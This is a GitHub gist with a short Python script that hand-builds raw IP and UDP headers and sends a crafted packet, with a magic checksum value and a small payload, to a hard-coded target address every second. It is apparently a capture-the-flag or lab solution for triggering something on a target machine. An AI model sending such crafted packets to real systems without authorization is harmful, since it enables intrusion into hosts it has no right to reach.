Created
November 4, 2023 16:02
Revisions
-
bas-kirill created this gist
Nov 4, 2023 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,38 @@ #!/usr/bin/env python3 import socket from struct import pack from time import sleep # |--------------- UDP HEADER --------------| # | SOURCE PORT | DESTINATION PORT | = 32 bits # |--------------------|--------------------| # | LENGTH | CHECKSUM | = 32 bits # |-----------------------------------------| def ip_header(src, dst): return pack("!BBHHHBBH4s4s", 69, 0, 0, 1, 0, 64, 17, 0, socket.inet_aton(src), socket.inet_aton(dst)) # pack function allows you to pack different values (bytes, shorts, ints, strings ) into bytes # Format: # ! - network byte order # B unsigned char # H unsigned short # I unsigned int # L unsigned long # Q unsigned long long # s char[] my_ip = '10.10.11.157' # change to your ip target_ip = '10.10.11.65' # Warning: you need r00t to run this # Good luck (: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) ip_hdr = ip_header(my_ip, target_ip) udp_hdr = pack("!HHHH", 0, 0, 32, 4919) data = pack("!BBB", 115, 49, 3) while True: sock.sendto(ip_hdr + udp_hdr + data, (target_ip, 0)) sleep(1)